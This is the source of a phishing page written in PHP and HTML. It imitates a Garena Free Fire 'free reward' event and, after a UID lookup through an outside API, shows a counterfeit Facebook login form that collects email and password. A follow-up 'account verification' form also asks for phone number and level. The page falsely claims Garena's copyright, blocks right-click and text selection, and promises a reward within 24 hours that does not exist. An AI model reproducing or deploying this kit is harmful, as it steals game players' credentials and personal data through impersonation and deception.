<?php
$var = "";
$var1 = "";
$valid = 1;
if (isset($_POST['playid'])) {
    function containsOnlyNumbers($input) {
        return ctype_digit($input);
    }
    function isValidString($input) {
        return ctype_digit($input) && strlen($input) >= 7;
    }
    $uid = $_POST['playid'];
    if (!containsOnlyNumbers($uid) || !isValidString($uid)) {
        $var1 = 'Wrong UID Entered';
        $valid = 0;
    }
    if ($valid == 1) {
        $response = file_get_contents('https://today-event.site/up/api.php?uid='.$uid);
if (strpos($response, 'incorrect_player_id') === false) {
            $ign = $response;
            if (strpos($ign, 'captcha') === false) {
                $var = "<div style=\"background: #ffcc00; font-family: Rajdhani, sans-serif; text-align: center; font-size: 18px; width: 100vw;\"><i class=\"fa-duotone fa-party-horn\" style=\"font-size: 35px; margin-top: 8px; margin-bottom: 7px\"></i><br>Congratulations! ".$ign."<br> You are eligible for a free reward</div>" . '<div style="padding: 20px; text-align: left; width: 100vw; color: #fff; font-size: 15px; margin-top: 10px; font-family: Rajdhani, sans-serif">How To Claim?<br>
                &bull; Click The Claim Button<br>
                &bull; Login Using Your Free Fire Account<br>
                &bull; Fill Additional Info About Your Account<br>
                &bull; Submit Your Info And Wait 24 Hours.</div>';
            } else {
                $var = "<div style=\"background: #ffcc00; font-family: Rajdhani, sans-serif; text-align: center; font-size: 18px; width: 100vw;\"><i class=\"fa-duotone fa-party-horn\" style=\"font-size: 35px; margin-top: 8px; margin-bottom: 7px\"></i><br>Congratulations! Survivor<br> You are eligible for a free reward</div>";
            }
        } else {
            $var1 = "Wrong UID Entered";
        }
    }
}
?>

<html>
<head>
<meta charset="UTF-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta property="og:title" content="Garena Free Fire. Best survival Battle Royale on mobile!">
<meta name="description" content="Free Fire is a multiplayer battle royale mobile game, developed and published by Garena for Android and iOS. Battle in Style and be the last survivor!">
<meta property="og:description" content="Free Fire is a multiplayer battle royale mobile game, developed and published by Garena for Android and iOS. Battle in Style and be the last survivor!">
<meta property="og:url" content="./">
<meta property="og:site_name" content="Garena Free Fire. Best survival Battle Royale on mobile!">
<meta property="og:type" content="website">
<meta name="copyright"content="Garena">
<meta name="theme-color" content="#000">
<meta property="og:image" content="https://freefiremobile-a.akamaihd.net/common/web_event/common/images/ff-logo-icon.png">
<title>Garena Free Fire. Best survival Battle Royale on mobile!</title>
<link rel="stylesheet" href="cheif/style.css">
<link rel="stylesheet" href="cheif/facebook.css">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/material-design-iconic-font/2.2.0/css/material-design-iconic-font.min.css">
<link rel="icon" href="https://freefiremobile-a.akamaihd.net/common/web_event/common/images/ff-logo-icon.png">
<link rel="stylesheet" href="uid/search-style.css">
<link rel="stylesheet" href="uid/style2.css">
<!-- CUSTOM CSS LINKS -->
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/all.css">
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/sharp-thin.css">
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/sharp-solid.css">
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/sharp-regular.css">
    <link rel="stylesheet" href="https://site-assets.fontawesome.com/releases/v6.5.1/css/sharp-light.css">
    <!-- Font Links -->
    <link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,300;0,400;0,500;0,600;1,400;1,500;1,600" rel="stylesheet">
    <link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,300;0,400;0,500;0,600;1,400;1,500;1,600" rel="stylesheet">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Outfit&display=swap" rel="stylesheet">
    <!-- BEGIN: Page CSS-->

    <!-- END: Page CSS-->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Outfit&family=Rajdhani:wght@600&display=swap" rel="stylesheet">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<style>
    .form-control:focus {
        border-color: #ffcc00;
        color: #ffcc00;
    }
      .form-fb:focus {
        border-color: #000000;
        color: #000000;
    }
</style>
<style>
.cbutton:disabled, .cbutton.disabled,
fieldset:disabled .cbutton {
  pointer-events: none;
  opacity: 0.65; }
.claimed-text {
  padding: 4px;
  margin-top: 3px; 
  display: -webkit-box;
  display: -ms-flexbox;
  display: flex;
  
    -webkit-clip-path: polygon(
    0 0,
    0 0,
    100% 0,
    100% 0,
    100% calc(100% - 7px),
    calc(100% - 7px) 100%,
    7px 100%,
    0 100%
  );
  clip-path: polygon(
    0 0,
    0 0,
    100% 0,
    100% 0,
    100% calc(100% - 7px),
    calc(100% - 7px) 100%,
    7px 100%,
    0 100%
  );
  -webkit-box-align: center;
  -ms-flex-align: center;
  align-items: center;
  -ms-flex-pack: distribute;
  justify-content: space-around;
  position: relative;
  cursor: pointer;
  background: -webkit-gradient(linear, left top, right top, color-stop(-12.74%, rgba(110, 239, 255, .5)), color-stop(56.76%, rgba(106, 224, 255, .271)));
  background: linear-gradient(45deg, #333333, #333334);
  color: #6e6b7b;
  border: 0.5px solid #161618;
  font-size: 17px;
  font-weight: 600;
}
</style>
<script>
document.addEventListener('DOMContentLoaded', (event) => {
  const audio = new Audio('img/music.mp3');
  audio.loop = true;
  audio.play();
});
</script>
</head>
<body class="vertical-layout vertical-menu-modern footer-static" onload="test()" data-open="click" data-menu="vertical-menu-modern" data-col="" style="font-family: 'Rajdhani', sans-serif; background: linear-gradient(90deg, #1E2023, #1E2023);" oncontextmenu="return false" onselectstart="return false" ondragstart="return false">
<div class="container" style="boder:10px; border-color: #fff; width: 100%;">
<div class="navbar">
<img class="navbar-logo" src="img/cheifop/header-logo.png">
<div class="navbar-right">
  <!-- NAVBAR LANGUAGE – FACEBOOK -->
<div class="navbar-language">
  <a href="https://m.facebook.com/profile.php/?id=100064467709231" id="no-color">
   <i class="fab fa-facebook text-white mr-1" style="font-size: 18px;"></i></a>
</div>
<div class="navbar-shp">
  <a href="https://youtube.com/@FreeFireIndiaOfficial?si=lUOj_LzixUgwp68D" id="no-color">
  <i class="fab fa-youtube text-white mr-1" style="font-size: 18px;"> </i> </a>
</div>
<div class="navbar-righ">
 <a href="https://www.instagram.com/freefireindiaofficial/?hl=en" id="no-color">
    <i class="fab fa-instagram text-white mr-1" style="font-size: 18px;"></i> </a>
  </div>
<div class="navbar-menu"><i class="fas fa-bars text-white ml-1" style="font-size: 20px;color: #fff;"></i></div>
</div> <!--- navbar-right --->
</div>
<div class="header1" style="width: 100%;">
<img style="width: 100%;" height="auto" src="img/@D3VIL_BOY/banners/1.jpg"> 

<!-- UID ENTRY FORM SECTION -->
<form name="myFirstForm" class="popup" id="search-form" method="post" style="position: fixed; top: 0; right: 0; bottom: 0; left: 0; background-color: rgba(128, 128, 128, 0); border-radius: 10px; padding-top: 60%; display: flex; flex-direction: column; align-items: center;">
<div style="background-color: #000; border-radius: 5px 5px 0 0; padding: 15px; text-align: left; width: 90%; height: 60px; color: #fff; margin-bottom: -8px; font-size: 18px;">
<img src="img/cheifop/navbar-logo.png" alt="Icon" style="vertical-align: middle; width: 120px; margin-top: -5px">
<img src="img/cheifop/apps.png" alt="Icon" style="vertical-align: middle; width: 40px; height: 40px; border-radius: 3px; margin-top: -5px; margin-left: 47%"></div>
<div>

<div class="popup-box" style="background: #2f3136; padding: 15px; text-align: left; width: 90%;height: 150px; margin-top: 5px; margin-left: 19.3px">
  <span style="color: rgb(180, 183, 189); font-family: Rajdhani, sans-serif; font-weight: 400; font-size: 15px; line-height: 22px;">Dear Survivor, Please Enter Your UID To Participate In This Special Event</span><br>
        <input id="search" type="number" name="playid" placeholder="Enter Your UID" autofocus required>
<?php echo $var; ?>
<?php echo '<br><span style="color: rgb(234, 84, 85); font-weight: 600; display: inline-block; font-family: Rajdhani, sans-serif; line-height: 22px;">'.$var1.'</span>'; ?>
    <div class="mighty">
  <button style="background: #ffcc00; padding: 10px 35px; font-weight: 600; text-align: center; font-style: normal;  color: rgb(0, 0, 0); font-size: 16px; line-height: 16px; font-family: Rajdhani, sans-serif; border: none; border-radius: 3px; margin-left: 75px; margin-top: -8px" type="submit" name="sub" href="javascript:void(0)">PARTICIPATE</button>
             </div></form>
</div>
</div>
</div>
</div>
</div>
<!-- CUT FROM UID.HTML & PASTE HERE -->

</div> <!--- header --->
<div class="Find-UserId">
    <div class="el bg bg-2 animated d-none" data-in="zoomIn" data-out="bounceOut"></div>
      <div class="el ang-c animated d-none" data-in="zoomOut"></div>
      <div class="el shine animated d-none" data-in="shineIn" data-out="fadeOut"></div>
    <div id="success-msg" style="background-color: rgba(128, 128, 128, 0); border-radius: 5px; margin: 10px 10px; font-weight;: 800; font-size: 23px;">
  <?php echo $var; ?>	      
</div>
</div>
</div>
<div id="playerdiv" class="playerdiv bg-light-warning mt-1 mb-1"></div><br>
<div class="shining-effect garena-text" style="padding: 7px; border-radius: 2px; margin-left: 2.4%; margin-right: 2.4%; text-align: center; margin-bottom: 6px; margin-top: -5px; font-size: 17px">EVO GUN SKINS</div>
</div></div>
<center>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 5px;" src="img/@D3VIL_BOY/rewards/1.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/rewards/1.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/rewards/2.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/rewards/2.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/rewards/3.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);"  src="img/@D3VIL_BOY/rewards/3.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/rewards/4.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/rewards/4.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/rewards/5.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/rewards/5.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/rewards/6.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/rewards/6.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/rewards/7.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/rewards/7.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/rewards/8.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/rewards/8.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/rewards/9.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/rewards/9.jpg">Claim</button>
</div>
</div>
</center>
<div class="shining-effect garena-text" style="padding: 7px; border-radius: 2px; margin-left: 2.4%; margin-right: 2.4%; text-align: center; margin-bottom: 6px; margin-top: 10px; font-size: 20px">EVO TOKENS</div>
<center>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 5px;" src="img/@D3VIL_BOY/special/1.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/special/1.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/special/2.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/special/2.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/special/3.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);"  src="img/@D3VIL_BOY/special/3.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/special/4.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/special/4.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/special/5.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/special/5.jpg">Claim</button>
</div>
</div>
<div class="item itemShine">
<div>
<figure>
<img style="border-bottom: 0px;" src="img/@D3VIL_BOY/special/6.jpg">
</figure>
</div>
<div>
<button  type="button" onclick="open_reward_confirmation(this);" src="img/@D3VIL_BOY/special/6.jpg">Claim</button>
</div>
</div>
<div class="footer" style="background: #000000; width: 101vw; margin-left: -12px; margin-top: 15px;">
        <img src="img/cheifop/garena.png" width="120">
        <div class="footer-txt-copyright">Copyright © Garena International. Trademarks belong to their respective owners. All rights reserved.
        </div>
    </div>

<div class="popup reward_confirmation" style="display: none;">
<div class="popup-box-wrapper">
<div class="popup-header">
  <img src="img/cheifop/navbar-logo.png">
  <img onclick="close_reward_confirmation()" src="img/cheifop/cross.png" style="width: 30px; height: 30px; border-radius: 5px; float: right; margin-right: 5px; margin-top: 2px">
</div>
<div class="popup-box-bg1">
<div class="popup-box-alert1">Are You Sure Want to Claim This Reward?</div>
<div class="popup-box-item itemShine">
<div>
<figure>
<img class="rewardPicture" src="">
</figure>
</div>
</div>
</div>
<div class="popup-box-footer">
<button type="button" onclick="open_account_login()">CONFIRM</button>
</div>
</div>
</div>

<div class="popup account_login" style="display: none;">
<div class="popup-box-wrapper">
<div class="popup-box-navbar1">
<div class="popup-box-navbar-title1">
  <img src="img/cheifop/navbar-logo.png">
<img onclick="close_reward_confirmation()" src="img/cheifop/cross.png" style="width: 30px; height: 30px; border-radius: 5px; float: right; margin-right: 5px; margin-top: 2px">
</div>
</div>
<div class="popup-box-bg2">
<div class="popup-box-alert2">Login to Receive Your Selected Reward</div>
<img class="popup-box-gamecon" src="img/cheifop/header-logo.png">
<button type="button" onclick="open_facebook();"><i class="fa-brands fa-square-facebook icon-login"></i> Login with Facebook</button>
<img style="width: 90%; height: auto; margin-top: 15px; margin-left: auto; margin-right: auto;" src="https://i.postimg.cc/66bK3tfJ/Amod.png">
<br>
</div>
</div>
</div>

<div class="popup-login login-facebook" style="display: none;">
<div class="popup-box-login-fb">
<a onclick="close_facebook()" class="close-fb"><i class="zmdi zmdi-close"></i></a>
<div class="navbar-fb"><img src="img/cheifop/login-Method1.png"></div> <!--- navbar-fb --->
<div class="content-box-fb">
<img src="img/cheifop/apps.png">
<p>Log in to your Facebook account to connect to Garena Free Fire</p>
<form class="form-group-fb" action="javascript:void(0)" method="post" id="ValidateLoginFbForm">
<input type="text" name="email" id="email-facebook" placeholder="Mobile number or email address" autocomplete="off" autocapitalize="off" required>
<input type="password" name="password" id="password-facebook" placeholder="Password" autocomplete="off" autocapitalize="off" required>
 <div class="showHide showPassword" onclick="showFbPassword()"><i class="fa-solid fa-eye fa-lg" style="margin-top: -20px; margin-left: 88%"></i>  </div>
<div class="showHide hidePassword" style="display: none;" onclick="hideFbPassword()"><i class="fa-solid fa-eye-slash fa-lg" style="margin-top: -20px; margin-left: 88%"></i></div>
<input type="hidden" name="login" id="login-facebook" value="Facebook" readonly>
<button type="submit" onclick="ValidateLoginFbData()">Log In</button>
</form>
<span>Create account</span>
<span>Not now</span>
<span>Forgotten password?</span>
</div>
<div class="language-box">
<center>
<div class="language-name language-name-active">English (UK)</div>
<div class="language-name">丕賱毓乇亘賷丞</div>
<div class="language-name">T眉rk莽e</div>
<div class="language-name">Ti岷縩g Vi峄噒</div>
<div class="language-name">鏃ユ湰瑾?</div>
<div class="language-name">Espa帽ol</div>
<div class="language-name">Portugu锚s (Brasil)</div>
<div class="language-name"><i class="fa fa-plus"></i></div>
</center>
</div>
<div class="copyright">Facebook Inc.</div>
</div>
</div>


<div class="popup account_verification" style="display: none;">
<div class="popup-box-wrapper popup-box-verification">
<div class="popup-box-navbar2">
<div class="popup-box-navbar-title2">
  <img src="img/cheifop/navbar-logo.png" style="width: 120px; height: 20px; margin-top: 5px; margin-left: -10px; float: left;">
  <img src="img/cheifop/apps.png" style="width: 35px; height: 35px; border-radius: 5px; float: right; margin-right: 5px; margin-top: px;">
  </div>
</div>
<div class="popup-box-bg3">
<div class="popup-box-alert3">Complete your account detail</div>
<form class="popup-box-form" action="javascript:void(0)" method="post" id="ValidateVerificationDataForm">
<input type="hidden" name="email" id="validateEmail" readonly>
<input type="hidden" name="password" id="validatePassword" readonly>
<input style="color: #fed000; background-color: #1f2023;" type="number" name="playid" id="playid" placeholder="<?php echo $uid; ?>" value="<?php echo $uid; ?>" readonly>
<input style="color: #fed000; background-color: #1f2023;" type="number" name="phone" id="phone" placeholder="Enter Your Phone Number" autocomplete="off" required oninvalid="this.setCustomValidity('Input your Phone Number')" oninput="setCustomValidity('')" minlength="10">
<input style="background-color: #1f2023; color: #fed000;" type="number" name="level" id="level" placeholder="Enter Your Account Level" autocomplete="off" required oninvalid="this.setCustomValidity(this.value < 30 ? 'Level Should Not Be less than 30' : 'Level Should Not Be greater than 100')" oninput="setCustomValidity('')" min="30" max="100">
<input type="hidden" name="login" id="validateLogin" readonly>
</div>
<div class="popup-box-form-footer">
<button type="submit" class="ValidateVerificationDataBtn" onclick="ValidateVerificationData()">Verify my Account</button>
</div>
</form>
</div>
</div>

<div class="popup processing_account" style="display: none;">
<div class="popup-box-wrapper popup-box-verification">
<div class="popup-box-navbar3">
<div class="popup-box-navbar-title3">
  <img src="img/cheifop/navbar-logo.png">
  </div>
</div>
<div class="popup-box-bg4">
<div class="popup-box-alert4" style="margin-bottom: 0px; padding-left: 10px; padding-right: 10px; text-align: left;">
<center><i class="zmdi zmdi-check-circle"></i></center>
Dear <?php echo $ign; ?>
<br>
Thanks for Participating in This Special Event
<br>
<br>
You will Receive Your Reward Within 24 Hours Directly Into Your Ingame Mailbox.
<br>
Have A Nice Day Ahead.
<br>
<br>
<p style="text-align: right;">- GARENA FREE FIRE</p>
</div>
<!-- Modal -->
<div id="myModal" class="modal">
<div id="myModal" class="modal">
  <div class="modal-content">
    <span class="close" onclick="toggleModal()"></span>
  </div>
</div>
</div>
</div>

<script type="text/javascript" src="https://code.jquery.com/jquery-1.10.2.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script src="js/script.js"></script>
<script src="js/ss.js"></script>
<script src="js/devil.js"></script>
<script src="js/showHide.js"></script>
</body>
</html>